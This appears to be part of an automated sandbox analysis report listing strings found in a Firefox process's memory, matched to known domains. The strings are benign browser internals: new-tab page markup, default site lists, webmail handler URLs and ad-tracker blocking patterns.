Source: firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.4489639039.00000253A2403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4489639039.00000253A2403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4500503968.00000253A424E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3FFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4497409881.00000253A3E91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: DevToolsStartup.jsm:handleDebuggerFlagGot invalid request to save JSON dataresource://devtools/server/devtools-server.jsWebChannel/this._originCheckCallbackresource://devtools/shared/security/socket.js@mozilla.org/network/protocol;1?name=default@mozilla.org/dom/slow-script-debug;1@mozilla.org/network/protocol;1?name=file{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}JSON Viewer's onSave failed in startPersistenceFailed to listen. Listener already attached.@mozilla.org/uriloader/handler-service;1browser.urlbar.dnsResolveFullyQualifiedNamesreleaseDistinctSystemPrincipalLoader^([a-z+.-]+:\/{0,3})([^\/@]+@).+browser.fixup.dns_first_for_single_words^[a-z0-9-]+(\.[a-z0-9-]+):[0-9]{1,5}([/?#]\|$)Unable to start devtools server on DevTools telemetry entry point failed: Failed to listen. Callback argument missing.No callback set for this channel.^([a-z][a-z0-9.+\t-]*)(:\|;)?(\/\/)?browser.fixup.domainsuffixwhitelist.get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIget FIXUP_FLAG_FORCE_ALTERNATE_URIdevtools/client/framework/devtools-browserFailed to execute WebChannel callback:devtools.performance.popup.feature-flagdevtools/client/framework/devtoolsdevtools.performance.recording.ui-base-urldevtools.debugger.remote-websocket@mozilla.org/network/async-stream-copier;1https://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjshttps://mail.inbox.lv/compose?to=%s@mozilla.org/uriloader/dbus-handler-app;1{33d75835-722f-42c0-89cc-44f328e56a86}resource://gre/modules/DeferredTask.sys.mjshttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/JSONFile.sys.mjs@mozilla.org/uriloader/local-handler-app;1@mozilla.org/network/file-input-stream;1Scheme should be either http or httpshttps://poczta.interia.pl/mh/?mailto=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sgecko.handlerService.defaultHandlersVersion_injectDefaultProtocolHandlersIfNeededisDownloadsImprovementsAlreadyMigratedhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s@mozilla.org/uriloader/web-handler-app;1https://mail.yahoo.co.jp/compose/?To=%s_finalizeInternal/this._finalizePromise<resource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/URIFixup.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}extractScheme/fixupChangedProtocol<http://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjshandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/NetUtil.sys.mjsCan't invoke URIFixup in the content processresource://gre/modules/DeferredTask.sys.mjs@mozilla.org/network/simple-stream-listener;1@mozilla.org/network/input-stream-pump;1newChannel requires a single object argumentFirst argument should be an nsIInputStream@mozilla.org/intl/converter-input-stream;1Must have a source and a callbackhttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.inbox.lv/compose?to=%sSEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLhttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHa
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - prompting because silent install is disabled. Notifying observers. topic: update-available, status: show-promptYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - prompting because silent install is disabled. Notifying observers. topic: update-available, status: show-promptYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - prompting because silent install is disabled. Notifying observers. topic: update-available, status: show-promptYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E757000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E757000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A410C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["://track.adform.net/Serving/TrackPoint/", "://pagead2.googlesyndication.com/pagead/.jsfcd=true", "://pagead2.googlesyndication.com/pagead/js/.jsfcd=true", "://pixel.advertising.com/firefox-etp", "://cdn.cmp.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.4459980484.00000253A02EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: doff-text" data-l10n-args="{"engine": "Google"}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"YouTube"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg://libs.coremetrics.com/eluminate.jsFileUtils_openSafeFileOutputStreamresource://gre/modules/addons/XPIProvider.jsm://pub.doubleverify.com/signals/pub.js*://web-assets.toggl.com/app/assets/scripts/.js@mozilla.org/network/atomic-file-output-stream;1://static.chartbeat.com/js/chartbeat_video.js://connect.facebook.net//sdk.js://.imgur.com/js/vendor..bundle.js://connect.facebook.net//all.js://cdn.branch.io/branch-latest.min.js@mozilla.org/network/safe-file-output-stream;1FileUtils_closeAtomicFileOutputStreamwebcompat-reporter@mozilla.org.xpi://c.amazon-adsystem.com/aax2/apstag.jsFileUtils_openAtomicFileOutputStreamFileUtils_closeSafeFileOutputStreampictureinpicture%40mozilla.org:1.0.0://auth.9c9media.ca/auth/main.jswebcompat-reporter%40mozilla.org:1.5.1://track.adform.net/serving/scripts/trackpoint/https://smartblock.firefox.etp/facebook.svg://static.chartbeat.com/js/chartbeat.js@mozilla.org/network/file-output-stream;1://www.google-analytics.com/gtm/js://s0.2mdn.net/instream/html5/ima3.js://imasdk.googleapis.com/js/sdkloader/ima3.js://pagead2.googlesyndication.com/tag/js/gpt.js://cdn.adsafeprotected.com/iasPET.1.js://static.adsafeprotected.com/iasPET.1.js://adservex.media.net/videoAds.js://.moatads.com//moatheader.js://www.googletagmanager.com/gtm.js://cdn.optimizely.com/public/.js://www.google-analytics.com/analytics.js://.vidible.tv//vidible-min.js://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.js://s.webtrends.com/js/webtrends.min.js://www.google-analytics.com/plugins/ua/ec.jsresource://gre/modules/AsyncShutdown.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/resource://gre/modules/TelemetryController.sys.mjs://id.rambler.ru/rambler-id-helper/auth_events.js://pagead2.googlesyndication.com/pagead/.js*fcd=trueresource://gre/modules/ExtensionStorageIDB.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4489639039.00000253A2403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001A.00000002.4117136152.0000000DB3004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4489639039.00000253A2403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/ equals www.youtube.com (Youtube)
